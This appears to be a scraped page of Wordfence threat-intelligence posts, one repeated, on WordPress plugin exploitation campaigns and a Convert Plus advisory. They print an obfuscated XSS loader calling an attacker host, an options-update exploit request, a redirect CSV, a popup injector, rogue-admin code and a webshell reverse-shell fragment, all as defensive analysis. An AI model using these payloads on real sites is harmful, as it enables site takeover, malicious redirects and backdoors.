    "success" : function(html){
        //console.log("New User created");
        //Removeing the XSS from the site, callback hell
        $.ajax({
            "url": ajax_url,
            "method" : "POST",
            "data" :
             {
                "action":"fake",
                "permalink_structure": 1
             },
             });

    }
});

This AJAX call creates a user named wpservices with the email wpservices@yandex.com and the password w0rdpr3ss. With this user in place, the attacker is free to install further backdoors or perform other malicious activity.

Indicators of Compromise (IOCs)

Domains

  • yourservice.live – Hosts the script responsible for rogue administrator creation. Also associated with other malvertising scripts in earlier incarnations of this campaign.
  • adsnet.work – Hosts ad network scripts for redirection and popups.

IP Addresses

  • 104.130.139.134

Conclusion

At the time of this writing, attacks associated with this campaign are still ongoing. Wordfence users, even if still using the free version, are protected from the XSS attacks seen in this campaign by our firewall rules. We are continuing to track exploitation of new vulnerabilities, which may provide us with more unique payloads requiring new firewall rules. We will issue updates as appropriate.

As always, updating the plugins and themes on your WordPress site is an excellent layer of defense against campaigns like these. Check your site for needed updates frequently to ensure you’re receiving the latest patches as they’re released. Wordfence users periodically receive emails informing them when updates are available as well.

Please consider sharing this post with your peers to spread awareness of this malicious activity. Additionally, if you believe your site has fallen victim to these or any other attacks, our site cleaning team is here to help. Thank you for reading.

The post Ongoing Malvertising Campaign Evolves, Adds Backdoors and Targets New Plugins appeared first on Wordfence.

Read More

Malicious WordPress Redirect Campaign Attacking Several Plugins

Over the past few weeks, our Threat Intelligence team has been tracking an active attack campaign targeting a selection of new and old WordPress plugin vulnerabilities. These attacks seek to maliciously redirect traffic from victims’ sites to a number of potentially harmful locations.

Each of the vulnerabilities targeted by this campaign have been public for some time, and Wordfence users are protected either by individual firewall rules or generic protections built into the plugin. Two of the vulnerabilities in question have firewall rules which are currently available to Premium users only:

  • NicDark Plugins – Unauthenticated Arbitrary Options Update
    • Though several individual plugins are affected, the vulnerability is the same across each and they are covered by a single firewall rule.
    • Affected plugin slugs are prefixed with nd-. Example plugins include Components For WP Bakery Page Builder (slug: nd-shortcodes), Booking (slug: nd-booking, Travel Management (slug: nd-travel), etc.
    • Firewall rule released for Premium users on July 30, 2019
    • Available for Free users starting August 29. 2019
  • Simple 301 Redirects Addon – Bulk Uploader <= 1.2.5 – Unauthenticated Options Update
    • Firewall rule released for Premium users on August 6, 2019
    • Available for Free users starting September 5, 2019

Each of these plugins have updates available which resolve the vulnerabilities. All WordPress users, regardless of firewall status, are advised to keep their plugins up-to-date at all times.

In today’s post we’ll look at the attacks associated with this campaign, and we’ll provide some useful indicators of compromise (IOCs) to assist in identifying similar activity.

Attacks Against NicDark Plugins

The vulnerabilities recently patched in plugins developed by NicDark are all exploited by very similar AJAX requests. In each case the plugin registers a nopriv_ AJAX action, which is accessible even by unauthenticated visitors, responsible for importing various WordPress settings. In these requests, key->value pairs of WordPress options and values are parsed out and applied directly to the affected site’s database.

For example, the following POST request is an attempt to attack the Travel Management plugin:

POST /wp-admin/admin-ajax.php?nd_travel_value_import_settings=siteurl%5Bnd_travel_option_value%5Dhttps%3A%2F%2Fjackielovedogs.com%2Fpret.js%3Fl%3D1 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36
Range: bytes=0-1000000
Connection: keep-alive
Host: [redacted]
Content-Type: application/x-www-form-urlencoded
Content-Length: 204

action=nd_travel_import_settings_php_function&amp;nd_travel_value_import_settings=siteurl%5Bnd_travel_option_value%5Dhttps%3A%2F%2Fjackielovedogs.com%2Fpret.js%3Fl%3D1%26%5Bnd_travel_end_option%5D

In each case, the targeted plugin must be declared in both the action parameter and the GET query string parameter defining the new option values, such as this example’s nd_travel_value_import_settings.

Because these vulnerabilities allow unauthenticated users to modify arbitrary WordPress options, it’s possible for attackers to enable registration as an Administrator user. However, we don’t see that behavior associated with this attack campaign. Instead, as seen in the sample request above, the attackers are modifying the siteurl setting of the victim’s site. In this case, the new value is https://jackielovedogs.com/pret.js?l=1. A subsequent request would then make the same change for the home setting.

The result of this modification is that all of the victim site’s scripts will attempt to load relative to that injected path. For example, instead of a site’s jQuery script loading from https://example.com/wp-includes/js/jquery/jquery.js, it would instead cause the visitor’s browser to open the URL https://jackielovedogs.com/pret.js?l=1/wp-includes/js/jquery/jquery.js. In effect, this replaces all of a site’s loaded JavaScript with a file under the attacker’s control.

Attacks Against Simple 301 Redirects Addon – Bulk Uploader

The other most common attack vector we’ve tracked in this campaign is the Simple 301 Redirects – Addon – Bulk Uploader plugin, which recently patched a vulnerability allowing unauthenticated attackers to inject their own 301 redirect rules onto a victim’s site.

Vulnerable versions of the plugin would constantly listen for the presence of the POST body parameter submit_bulk_301. If this value is present, an uploaded CSV file would be processed and used to import a bulk set of site paths and their redirect destinations.

The following is an example of the CSV files attackers are attempting to upload:

/,https://developsincelock.com/54768?
*,https://developsincelock.com/5868?
/*,https://developsincelock.com/34234?

When a vulnerable site processes this CSV, the site will begin redirecting all of its traffic to the addresses provided.

Other Targeted Plugins

In addition to the primary two above, we have identified related attacks against a number of other formerly-vulnerable plugins, including (but not limited to):

Payload Behavior Analysis

The domains used by the attackers in performing these script injections and redirects rotate with some frequency. New domains appear every few days, and attacks involving older domains taper off. We provide a list of the domains we’ve identified in the IOC section below.

At this time, many of the redirect domains associated with these attacks appear to have been decommissioned, despite the fact that these domains still show up in active attacks at the time of this writing. For example jackielovedogs.com, which appeared in the example request in the ND plugin section above, appears to have been reclaimed by Registrar.eu, a reseller name used by ICANN registrar Openprovider.

Further analysis of this campaign’s long-term behavior is ongoing, and we will provide a followup report as necessary.

Indicators of Compromise (IOCs)

The following IOCs can be used in the process of identifying or tracking activity associated with this campaign.

IP Addresses

The attacks are distributed across a large number of IPs. The top 20 IPs associated with this campaign are listed below. Additionally, addresses listed in bold text appear in the list of IPs Attacking Most Sites as seen in the most recent Wordfence Weekly.

  1. 192.99.38.186
  2. 51.38.69.87
  3. 62.210.252.196
  4. 164.132.44.97
  5. 159.203.81.46
  6. 217.182.95.250
  7. 51.255.43.81
  8. 37.187.198.246
  9. 54.36.246.232
  10. 45.55.152.56
  11. 198.199.100.240
  12. 162.241.175.243
  13. 188.213.175.168
  14. 45.40.143.13
  15. 188.213.166.219
  16. 192.169.227.95
  17. 193.70.2.138
  18. 149.202.75.164
  19. 192.169.157.142
  20. 104.238.97.201

Domain Names

  • greatinstagrampage.com
  • gabriellalovecats.com
  • jackielovedogs.com
  • tomorrowwillbehotmaybe.com
  • go.activeandbanflip.com
  • wiilberedmodels.com
  • developsincelock.com

Conclusion

An active campaign is targeting a number of vulnerabilities in attempts to redirect victim sites’ visitors to potentially harmful destinations. The vulnerabilities in question have all been patched by their developers, so ensure all of your WordPress plugins are up to date. Wordfence Premium users who are unable to update are protected from all of these attacks, while Free users will gain access to these rules in the coming weeks.

Our investigation into these attacks is ongoing. We will continue to track further changes in the campaign’s infrastructure and will provide followup reports as necessary.

As always, please consider sharing this post with your peers to spread awareness of this malicious activity. Additionally, if you believe your site has fallen victim to these or any other attacks, our site cleaning team is here to help. Thank you for reading.

The post Malicious WordPress Redirect Campaign Attacking Several Plugins appeared first on Wordfence.

Read More

Recent WordPress Vulnerabilities Targeted by Malvertising Campaign

The Defiant Threat Intelligence team has identified a malvertising campaign which is causing victims’ sites to display unwanted popup ads and redirect visitors to malicious destinations, including tech support scams, malicious Android APKs, and sketchy pharmaceutical ads. This type of campaign is far from novel, but these attacks drew our attention.

By targeting a few recently disclosed WordPress plugin vulnerabilities, the attackers inject a JavaScript payload into the front end of a victim’s site. These injections each contain a short script which sources additional code from one or more third-party URLs. That code is executed when a visitor opens the victim website.

When the third party code executes in a visitor’s browser, it performs an initial redirect to a central domain, which then performs another redirect to a new destination based on a number of factors, notably the type of device in use by the redirected user.

The Wordfence firewall’s built-in protections block these malicious code injections for all users of our plugin, including free users.

In today’s post we’ll discuss the scope of this campaign, including the specific code injections used by the attackers as well as some detail regarding the infrastructure behind the redirects.

Recent Attacks Targeting Coming Soon and Maintenance Mode Plugin

In a disclosure last week, NinTechNet disclosed a vulnerability in the Coming Soon and Maintenance Mode plugin for WordPress. In their report, it was revealed that unauthenticated attackers could inject JavaScript payloads into a number of parameters on sites using vulnerable versions of the plugin. Shortly after the disclosure, our team identified a wave of attacks across our network.

<script type=text/javascript>eval(String.fromCharCode(118, 97, 114, 32, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 115, 99, 114, 105, 112, 116, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 125, 59, 10, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 121, 111, 117, 114, 115, 101, 114, 118, 105, 99, 101, 46, 108, 105, 118, 101, 47, 112, 108, 97, 99, 101, 46, 106, 115, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 99, 114, 105, 112, 116, 41, 59));</script>

Using input routes intended for custom CSS styling, the attackers attempted to inject obfuscated JavaScript payloads on a large number of sites, which would trigger for any user visiting an affected site.

Decoding this obfuscated script reveals that this code simply points to another URL containing a different JavaScript payload.

eval("var script = document.createElement('script');
script.onload = function() {
};
script.src = 'https://yourservice[.]live/place.js';
document.getElementsByTagName('head')[0].appendChild(script);");

The URL being sourced is one of several we’ve identified associated with this campaign, most of which do the same thing: perform a basic JavaScript redirect to a domain responsible for determining where the traffic should ultimately end up.

window.location.replace('http://4ksudckusdkc[.]space/r?token=47255dfb7dafd771473720052936d2541dceda7a');

When a visitor arrives at that address, which we’ve defanged to prevent accidental clicks, the site responds with a different script based on the User-Agent string associated with the request. A cookie is also set in the redirected browser in order to track repeat users.

The eventual destination sites vary in scope and intent. Some redirects land users on typical illegitimate ads for pharmaceuticals and pornography, while others attempt direct malicious activity against the user’s browser.

Some of the redirect landing pages attempt to social engineer their victims into clicking various page elements.

Earlier Attacks Targeted Other XSS Vulnerabilities

These attacks aren’t the first associated with this malvertising campaign. Several vulnerabilities disclosed over the past few months have been included in the attacker’s attempts to distribute these injections.

The vulnerabilities in question include Yellow Pencil Visual CSS Style Editor <= 7.2.0 – Unauthenticated Arbitrary Options Update, and Blog Designer <= 1.8.10 – Unauthenticated Stored Cross-Site Scripting (XSS).

The Yellow Pencil vulnerability is notable because, in most configurations, an attacker could enable new user registrations with Administrator privileges, leading to takeover of vulnerable sites. Instead of taking the sites over entirely, these attackers seem satisfied with the malvertising campaign by itself.

Campaign Hosting Popup Ad Code On Infected Sites

In addition to the redirects, this campaign includes the ability to inject popup ads into victims’ sites. The JavaScript code responsible for this has been identified on domains directly associated with the attacker, but we’ve also found injections sourcing these scripts from legitimate sites which were themselves infected by the attacker through other means.

function(e, t) {
                if (!e || !u(e, "array")) return;
                for (var n = 0; n < e.length; n++) e[n].addEventListener("mousedown", t, !0)
            }([t, r], c), e = function() {
                var e = r.createElement("script");
                for (var t in e.src = a, n) n.hasOwnProperty(t) && e.setAttribute("data-" + t.replace(/([a-zA-Z])(?=[A-Z])/g, "$1-").toLowerCase(), n[t]);
                i && e.setAttribute("data-loader-data", JSON.stringify(i));
                o.appendChild(e)
            }, "interactive" === r.readyState || "complete" === r.readyState ? e() : r.addEventListener("DOMContentLoaded", e)
    }({
        "domain": "tut-64[.]com",
        "cdnDomain": "mediasprucetree[.]com",
        "promoCdn": "mediaoaktree[.]com",
        "plToken": "b4c9dc3b4613a931cda646a6a5a8bb1185114458",
        "type": "under",
        "ipcSrc": "//mediaoaktree[.]com/pu-placer.js?t=1557247297"
    })
}]);

The file containing the snippet above, a beautified version of the code present at https://yourservice[.]live/ads.js, sources and injects further JavaScript from another domain related to the ad network. Once everything has triggered, the victim’s browser will open a selected address in a new tab the next time they click or tap the page.

The domain yourservice[.]live is a common source of scripts in this campaign, hosting both redirect and popup scripts. In the unrelated infected site we tested, only the popup code was present, also at /ads.js. The script was nearly identical to the one on yourservice[.]live, with only a few identifiers changed.

Attacks Coming From Web Host Networks

The majority of the XSS injection attempts tracked across this campaign were sent by IP addresses linked to popular hosting providers. With attacks sourced from IPs hosting several live websites, as well as our own evidence of infected sites associated with this campaign, it’s likely the threat actor is using infected sites to deliver XSS attacks by proxy.

In the infected site we had access to, we identified a few PHP shells which would have been capable of performing these attacks. These were fairly common types of webshells, and didn’t feature custom code specifically built to deliver XSS attempts, but could receive arbitrary commands from the attacker to launch the attacks.

if ($start && $yourip && $yourport && $use){
if ($use == 'perl') {
  cf('/tmp/angel_bc',$back_connect);
  $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
} else {
  cf('/tmp/angel_bc.c',$back_connect_c);
  $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
  @unlink('/tmp/angel_bc.c');
  $res = execute("/tmp/angel_bc $yourip $yourport &");
}
m("Now script try connect to $yourip port $yourport ...");
}

For example, the code snippet above was pulled from an obfuscated webshell identified on the infected site. This code creates either a Perl or C file that will attempt to open a reverse shell connection back to the attacker’s machine. The attacker can then use this as a persistent connection to the infected host as long as the port remains open, even if the malicious PHP files have been removed.

Indicators of Compromise (IOCs)

If you’re responsible for the security of a website or network, or are just interested in tracking the campaign yourself, be on the look out for these indicators. Past behavior indicates that any of these indicators can be modified by the attacker at any time.

Domains

  • yourservice[.]live
    • Hosts several JavaScript files responsible for redirects and popup ads in current attacks.
  • app[.]caresearch[.]com[.]au
    • Hosts additional JavaScript used in earlier attacks for redirects.
  • 4ksudckusdkc[.]space
    • Initial redirect destination. Performs another redirect to a new location based on factors like User-Agent.
  • shakesmobi[.]com
    • Possible middleman destination. Users would be redirected here, then sent elsewhere.
  • mobnootiffy[.]com
    • Possible redirect destination. Attempts to trick victims into granting heightened access to their device.
  • mediaoaktree[.]com
    • Hosts code used in popup injections.
  • mediasprucetree[.]com
    • Hosts code used in popup injections.
  • tut-64[.]com
    • Referenced in popup code. Third party sources indicate a relationship with malicious APKs.

Attacking IPs

The following IPs have been linked to incoming attempts to distribute the campaign’s XSS payloads. We’ve included the service provider associated with each IP, as well.

  • 183.90.250.26
    • SAKURA Internet, Inc.
  • 104.130.139.134
    • Rackspace
  • 50.116.64.22
    • Bluehost
  • 45.33.78.213
    • Linode
  • 45.12.32.55
    • INTERNET IT COMPANY INC.

Malware Hashes

Malware files with the following MD5 hashes were identified on the site containing backdoor infections. The presence of these indicators may mean your server is being used to deliver XSS attacks to additional victim sites.

  • 87f66ca0fbedf8ccd1ff6cce56f44e1b
    • File upload script
  • 45916c4f66e63c183ac3a2bebcebc97b
    • Basic web shell
  • 62d6a449408698c4f1c70a721fb3adf5
    • Sophisticated web shell, capable of opening reverse shells
  • 4dac95dc72ebebc0b3bbd1f742d855d7
    • ads.js file, sourced by XSS-injected sites as part of popup campaign
  • a5250a26a4b1aaf4d078c206b0cfb72e
    • PHP file manager. Can upload, download, edit, and delete files on infected host.

Conclusion

In today’s post, we shared details of a malvertising campaign which exploits recently disclosed vulnerabilities in order to perform malicious redirects and display unwanted popup ads on victims’ sites. We believe the attackers are using a small array of compromised sites to perform these attacks in order to conceal the source of their activities.

Wordfence users have been kept protected from these attacks due to robust XSS protection built directly into the Wordfence firewall. This includes both premium and free users. If a future vulnerability isn’t covered by these built-in protections, our team will quickly release a new rule to address it.

This campaign is ongoing. We expect the threat actors will be quick to leverage any similar XSS vulnerabilities that may be disclosed in the near future. Be sure to check your WordPress sites for any available plugin and theme updates frequently. Even if an update’s changelog doesn’t mention a security fix, it’s possible the developer neglected to disclose the nature of the patch.

We will continue to track the behavior of this campaign as time goes on. As always, we’ll provide updates if there is noteworthy intelligence to be shared. In the meantime, please consider sharing this article in order to improve awareness of these attacks.

The post Recent WordPress Vulnerabilities Targeted by Malvertising Campaign appeared first on Wordfence.

Read More

Recent WordPress Vulnerabilities Targeted by Malvertising Campaign

The Defiant Threat Intelligence team has identified a malvertising campaign which is causing victims’ sites to display unwanted popup ads and redirect visitors to malicious destinations, including tech support scams, malicious Android APKs, and sketchy pharmaceutical ads. This type of campaign is far from novel, but these attacks drew our attention.

By targeting a few recently disclosed WordPress plugin vulnerabilities, the attackers inject a JavaScript payload into the front end of a victim’s site. These injections each contain a short script which sources additional code from one or more third-party URLs. That code is executed when a visitor opens the victim website.

When the third party code executes in a visitor’s browser, it performs an initial redirect to a central domain, which then performs another redirect to a new destination based on a number of factors, notably the type of device in use by the redirected user.

The Wordfence firewall’s built-in protections block these malicious code injections for all users of our plugin, including free users.

In today’s post we’ll discuss the scope of this campaign, including the specific code injections used by the attackers as well as some detail regarding the infrastructure behind the redirects.

Recent Attacks Targeting Coming Soon and Maintenance Mode Plugin

In a disclosure last week, NinTechNet disclosed a vulnerability in the Coming Soon and Maintenance Mode plugin for WordPress. In their report, it was revealed that unauthenticated attackers could inject JavaScript payloads into a number of parameters on sites using vulnerable versions of the plugin. Shortly after the disclosure, our team identified a wave of attacks across our network.

<script type=text/javascript>eval(String.fromCharCode(118, 97, 114, 32, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 115, 99, 114, 105, 112, 116, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 125, 59, 10, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 121, 111, 117, 114, 115, 101, 114, 118, 105, 99, 101, 46, 108, 105, 118, 101, 47, 112, 108, 97, 99, 101, 46, 106, 115, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 99, 114, 105, 112, 116, 41, 59));</script>

Using input routes intended for custom CSS styling, the attackers attempted to inject obfuscated JavaScript payloads on a large number of sites, which would trigger for any user visiting an affected site.

Decoding this obfuscated script reveals that this code simply points to another URL containing a different JavaScript payload.

eval("var script = document.createElement('script');
script.onload = function() {
};
script.src = 'https://yourservice[.]live/place.js';
document.getElementsByTagName('head')[0].appendChild(script);");

The URL being sourced is one of several we’ve identified associated with this campaign, most of which do the same thing: perform a basic JavaScript redirect to a domain responsible for determining where the traffic should ultimately end up.

window.location.replace('http://4ksudckusdkc[.]space/r?token=47255dfb7dafd771473720052936d2541dceda7a');

When a visitor arrives at that address, which we’ve defanged to prevent accidental clicks, the site responds with a different script based on the User-Agent string associated with the request. A cookie is also set in the redirected browser in order to track repeat users.

The eventual destination sites vary in scope and intent. Some redirects land users on typical illegitimate ads for pharmaceuticals and pornography, while others attempt direct malicious activity against the user’s browser.

Some of the redirect landing pages attempt to social engineer their victims into clicking various page elements.

Earlier Attacks Targeted Other XSS Vulnerabilities

These attacks aren’t the first associated with this malvertising campaign. Several vulnerabilities disclosed over the past few months have been included in the attacker’s attempts to distribute these injections.

The vulnerabilities in question include Yellow Pencil Visual CSS Style Editor <= 7.2.0 – Unauthenticated Arbitrary Options Update, and Blog Designer <= 1.8.10 – Unauthenticated Stored Cross-Site Scripting (XSS).

The Yellow Pencil vulnerability is notable because, in most configurations, an attacker could enable new user registrations with Administrator privileges, leading to takeover of vulnerable sites. Instead of taking the sites over entirely, these attackers seem satisfied with the malvertising campaign by itself.

Campaign Hosting Popup Ad Code On Infected Sites

In addition to the redirects, this campaign includes the ability to inject popup ads into victims’ sites. The JavaScript code responsible for this has been identified on domains directly associated with the attacker, but we’ve also found injections sourcing these scripts from legitimate sites which were themselves infected by the attacker through other means.

function(e, t) {
                if (!e || !u(e, "array")) return;
                for (var n = 0; n < e.length; n++) e[n].addEventListener("mousedown", t, !0)
            }([t, r], c), e = function() {
                var e = r.createElement("script");
                for (var t in e.src = a, n) n.hasOwnProperty(t) && e.setAttribute("data-" + t.replace(/([a-zA-Z])(?=[A-Z])/g, "$1-").toLowerCase(), n[t]);
                i && e.setAttribute("data-loader-data", JSON.stringify(i));
                o.appendChild(e)
            }, "interactive" === r.readyState || "complete" === r.readyState ? e() : r.addEventListener("DOMContentLoaded", e)
    }({
        "domain": "tut-64[.]com",
        "cdnDomain": "mediasprucetree[.]com",
        "promoCdn": "mediaoaktree[.]com",
        "plToken": "b4c9dc3b4613a931cda646a6a5a8bb1185114458",
        "type": "under",
        "ipcSrc": "//mediaoaktree[.]com/pu-placer.js?t=1557247297"
    })
}]);

The file containing the snippet above, a beautified version of the code present at https://yourservice[.]live/ads.js, sources and injects further JavaScript from another domain related to the ad network. Once everything has triggered, the victim’s browser will open a selected address in a new tab the next time they click or tap the page.

The domain yourservice[.]live is a common source of scripts in this campaign, hosting both redirect and popup scripts. In the unrelated infected site we tested, only the popup code was present, also at /ads.js. The script was nearly identical to the one on yourservice[.]live, with only a few identifiers changed.

Attacks Coming From Web Host Networks

The majority of the XSS injection attempts tracked across this campaign were sent by IP addresses linked to popular hosting providers. With attacks sourced from IPs hosting several live websites, as well as our own evidence of infected sites associated with this campaign, it’s likely the threat actor is using infected sites to deliver XSS attacks by proxy.

In the infected site we had access to, we identified a few PHP shells which would have been capable of performing these attacks. These were fairly common types of webshells, and didn’t feature custom code specifically built to deliver XSS attempts, but could receive arbitrary commands from the attacker to launch the attacks.

if ($start && $yourip && $yourport && $use){
if ($use == 'perl') {
  cf('/tmp/angel_bc',$back_connect);
  $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
} else {
  cf('/tmp/angel_bc.c',$back_connect_c);
  $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
  @unlink('/tmp/angel_bc.c');
  $res = execute("/tmp/angel_bc $yourip $yourport &");
}
m("Now script try connect to $yourip port $yourport ...");
}

For example, the code snippet above was pulled from an obfuscated webshell identified on the infected site. This code creates either a Perl or C file that will attempt to open a reverse shell connection back to the attacker’s machine. The attacker can then use this as a persistent connection to the infected host as long as the port remains open, even if the malicious PHP files have been removed.

Indicators of Compromise (IOCs)

If you’re responsible for the security of a website or network, or are just interested in tracking the campaign yourself, be on the look out for these indicators. Past behavior indicates that any of these indicators can be modified by the attacker at any time.

Domains

  • yourservice[.]live
    • Hosts several JavaScript files responsible for redirects and popup ads in current attacks.
  • app[.]caresearch[.]com[.]au
    • Hosts additional JavaScript used in earlier attacks for redirects.
  • 4ksudckusdkc[.]space
    • Initial redirect destination. Performs another redirect to a new location based on factors like User-Agent.
  • shakesmobi[.]com
    • Possible middleman destination. Users would be redirected here, then sent elsewhere.
  • mobnootiffy[.]com
    • Possible redirect destination. Attempts to trick victims into granting heightened access to their device.
  • mediaoaktree[.]com
    • Hosts code used in popup injections.
  • mediasprucetree[.]com
    • Hosts code used in popup injections.
  • tut-64[.]com
    • Referenced in popup code. Third party sources indicate a relationship with malicious APKs.

Attacking IPs

The following IPs have been linked to incoming attempts to distribute the campaign’s XSS payloads. We’ve included the service provider associated with each IP, as well.

  • 183.90.250.26
    • SAKURA Internet, Inc.
  • 104.130.139.134
    • Rackspace
  • 50.116.64.22
    • Bluehost
  • 45.33.78.213
    • Linode
  • 45.12.32.55
    • INTERNET IT COMPANY INC.

Malware Hashes

Malware files with the following MD5 hashes were identified on the site containing backdoor infections. The presence of these indicators may mean your server is being used to deliver XSS attacks to additional victim sites.

  • 87f66ca0fbedf8ccd1ff6cce56f44e1b
    • File upload script
  • 45916c4f66e63c183ac3a2bebcebc97b
    • Basic web shell
  • 62d6a449408698c4f1c70a721fb3adf5
    • Sophisticated web shell, capable of opening reverse shells
  • 4dac95dc72ebebc0b3bbd1f742d855d7
    • ads.js file, sourced by XSS-injected sites as part of popup campaign
  • a5250a26a4b1aaf4d078c206b0cfb72e
    • PHP file manager. Can upload, download, edit, and delete files on infected host.

Conclusion

In today’s post, we shared details of a malvertising campaign which exploits recently disclosed vulnerabilities in order to perform malicious redirects and display unwanted popup ads on victims’ sites. We believe the attackers are using a small array of compromised sites to perform these attacks in order to conceal the source of their activities.

Wordfence users have been kept protected from these attacks due to robust XSS protection built directly into the Wordfence firewall. This includes both premium and free users. If a future vulnerability isn’t covered by these built-in protections, our team will quickly release a new rule to address it.

This campaign is ongoing. We expect the threat actors will be quick to leverage any similar XSS vulnerabilities that may be disclosed in the near future. Be sure to check your WordPress sites for any available plugin and theme updates frequently. Even if an update’s changelog doesn’t mention a security fix, it’s possible the developer neglected to disclose the nature of the patch.

We will continue to track the behavior of this campaign as time goes on. As always, we’ll provide updates if there is noteworthy intelligence to be shared. In the meantime, please consider sharing this article in order to improve awareness of these attacks.

The post Recent WordPress Vulnerabilities Targeted by Malvertising Campaign appeared first on Wordfence.

Read More

Critical Vulnerability Patched in Popular Convert Plus Plugin

Description: Unauthenticated Administrator Creation
CVSS v3.0 Score: 10.0 (Critical)
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Affected Plugin: Convert Plus
Plugin Slug: convertplug
Affected Versions: <= 3.4.2
Patched Version: 3.4.3

On Friday May 24th, our Threat Intelligence team identified a vulnerability present in Convert Plus, a commercial WordPress plugin with an estimated 100,000 active installs. This flaw allowed unauthenticated attackers to register new accounts with arbitrary user roles, up to and including Administrator accounts. We disclosed this issue privately to the plugin’s development team, who released a patch just a few days later.

Convert Plus (formerly convertplug) versions up to 3.4.2 are vulnerable to attacks against this flaw. All Convert Plus users should update to version 3.4.3 immediately, as this is a critical security issue. We have released a firewall rule to protect Wordfence Premium users who may not be able to update yet, but we still recommend installing the patch. Free users will receive the new rule after thirty days.

Vulnerability In Detail

Convert Plus is a lead generation plugin used to display marketing popups, info bars, and other elements to a site’s visitors with various calls-to-action like email subscription and coupon codes. When setting up a form for handling new subscribers, administrators can define a WordPress user role to be associated with the email address provided. By default this value is None and no user is created, but the site’s owner can have these forms create new Subscriber accounts, or any other role they’d like. The exception is the Administrator role: the plugin removes it from the list of available roles when generating the dropdown menu.

global $wp_roles;
$roles    = $wp_roles->get_names();
$user_arr = array();
foreach ( $roles as $rkey => $rvalue ) {
	$user_arr [ $rvalue ] = $rvalue;
}
$first_item = array( 'None' );
$new_arr    = $user_arr;
unset( $new_arr['Administrator'] );
$new_arr = $first_item + $new_arr;

However, in vulnerable versions of the plugin, this intended user role wasn’t fetched from the database on submission. Instead, this setting was reflected in a hidden field on the plugin’s forms called cp_set_user. Because this value is supplied by the same HTTP request as the rest of the subscription entry, it can be modified by the user.

// Add subscriber as new user role to site.
$new_role = isset( $_POST['cp_set_user'] ) ? $_POST['cp_set_user'] : 'None';

if ( 'success' === $status && ! $only_conversion ) {

	if ( '1' === $sub_optin || 1 === $sub_optin ) {
		$list_name  = str_replace( 'cp_connects_', '', $data_option );
		$list_name  = str_replace( '_', ' ', $list_name );
		$page_url   = isset( $cp_settings['cp-page-url'] ) ? $cp_settings['cp-email-body'] : '';
		$style_name = isset( $_POST['cp_module_name'] ) ? esc_attr( $_POST['cp_module_name'] ) : '';
		cp_notify_sub_to_admin( $list_name, $param, $sub_email, $email_sub, $email_body, $cp_page_url, $style_name );
	}
	if ( '' !== $new_role && ( 'None' !== $new_role && 'none' !== $new_role ) ) {
		cp_add_new_user_role( $param, $new_role );
	}
}

This code calls the plugin’s function cp_add_new_user_role with the role provided in the AJAX request, which then handles the process of creating the user as directed.

Since no filtering is applied when this new subscription is processed, if an attacker submits a subscription form and changes the value of cp_set_user to “administrator”, the plugin will create an administrator user associated with the given email address. The new account is given a randomized password, but the attacker can issue a typical password reset to gain access to their rogue administrator account.

Video Demonstration

Convert Plus Plugin Vulnerability Exploit Demonstration from Wordfence on Vimeo.

Disclosure Timeline

  • May 24 – Vulnerability discovered. Notified developers privately.
  • May 28 – Patch released by developers. Firewall rule released for Premium users.
  • June 27 – Planned date for firewall rule’s release to Free users.

Well-Handled Response

Vulnerability disclosures are an unfortunate necessity, and it’s important that they’re handled appropriately by all parties involved. In recent disclosures, we’ve seen a variety of responses from the developers we’ve reached out to. For example, in January we received no response at all from a disclosure regarding the Total Donations plugin. More recently was this week’s Slick Popup vulnerability, which had been acknowledged by the developers but remains unpatched.

Conversely, the response from Convert Plus’s team was an excellent example of how to handle a vulnerability disclosure. They responded quickly to our contact, and issued a patch for the flaw within just a few days. Once the patch went live, they published their own blog post alerting their users that an important update was available. They even highlighted the update on the plugin’s CodeCanyon page.

Convert Plus’s CodeCanyon page, featuring an alert regarding the security release.

Conclusion

In this post we shared details of a critical security flaw recently patched in the popular Convert Plus plugin for WordPress. This vulnerability has been patched as of version 3.4.3 of the plugin, and it’s crucial that all affected users patch as soon as possible. We have released a firewall rule which prevents exploits against Wordfence Premium users, which will be available to free users on June 27th.

As always, we will monitor our network for activity associated with this flaw and will update you with any noteworthy campaigns we identify.

The post Critical Vulnerability Patched in Popular Convert Plus Plugin appeared first on Wordfence.

Read More
Page 1 of 41234»